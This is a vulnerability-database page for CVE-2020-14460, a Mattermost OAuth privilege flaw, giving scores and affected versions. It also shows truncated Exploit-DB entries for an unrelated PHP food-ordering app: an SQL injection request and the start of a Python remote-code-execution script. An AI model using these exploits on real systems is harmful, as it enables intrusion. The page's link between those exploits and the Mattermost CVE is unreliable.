CVE-2020-14460
published 2020-06-19CVE-2020-14460: An issue was discovered in Mattermost Server before 5.19.0, 5.18.1, 5.17.3, 5.16.5, and 5.9.8. Creation of a trusted OAuth application does not always require…
PriorityP431medium6.5CVSS 3.1
AVNACLPRLUINSUCNIHAN
EPSS
0.79%
52.5th percentile
An issue was discovered in Mattermost Server before 5.19.0, 5.18.1, 5.17.3, 5.16.5, and 5.9.8. Creation of a trusted OAuth application does not always require admin privileges, aka MMSA-2020-0001.
Affected
5 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| mattermost | mattermost_server | < 5.9.8 | 5.9.8 |
| mattermost | mattermost_server | — | — |
| mattermost | mattermost_server | >= 5.16.0 < 5.16.5 | 5.16.5 |
| mattermost | mattermost_server | >= 5.17.0 < 5.17.3 | 5.17.3 |
| mattermost | mattermost_server | >= 5.18.0 < 5.18.1 | 5.18.1 |
CVSS provenance
nvdv3.16.5MEDIUMCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
nvdv2.04.0MEDIUMAV:N/AC:L/Au:S/C:N/I:P/A:N
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Simple Online Food Ordering System 1.0 - 'id' SQL Injection (Unauthenticated)
exploitdb·2020-09-24
Simple Online Food Ordering System 1.0 - 'id' SQL Injection (Unauthenticated)
Simple Online Food Ordering System 1.0 - 'id' SQL Injection (Unauthenticated)
---
# Exploit Title: Simple Online Food Ordering System 1.0 - 'id' SQL Injection (Unauthenticated)
# Google Dork: N/A
# Date: 2020-09-22
# Exploit Author: Eren 'Aporlorxl23' Şimşek
# Vendor Homepage: https://www.sourcecodester.com/php/14460/simple-online-food-ordering-system-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple-online-food-ordering-system-using-php.zip
# Version: 1.0
# Tested on: Linux - XAMPP Server
# CVE : N/A
# Vulnerable Source Code:
# /view_prod.php
# [3] $qry = $conn->query("SELECT * FROM product_list where id =
".$_GET['id'])->fetch_array();
# PoC:
# Request:
GET /view_prod.php?id=' HTTP/1.1
Host: localhost
User-Agent: Mozil
Exploit-DB
Online Food Ordering System 1.0 - Remote Code Execution
exploitdb·2020-09-23
Online Food Ordering System 1.0 - Remote Code Execution
Online Food Ordering System 1.0 - Remote Code Execution
---
# Exploit Title: Online Food Ordering System 1.0 - Remote Code Execution
# Google Dork: N/A
# Date: 2020-09-22
# Exploit Author: Eren Şimşek
# Vendor Homepage: https://www.sourcecodester.com/php/14460/simple-online-food-ordering-system-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple-online-food-ordering-system-using-php.zip
# Version: 1.0
# Tested on: Windows/Linux - XAMPP Server
# CVE : N/A
# Setup: pip3 install bs4 .
# Exploit Code :
import requests,sys,string,random
from bs4 import BeautifulSoup
def get_random_string(length):
letters = string.ascii_lowercase
result_str = ''.join(random.choice(letters) for i in range(length))
return result_str
session = re
No writeups or analysis indexed.
2020-06-19
Published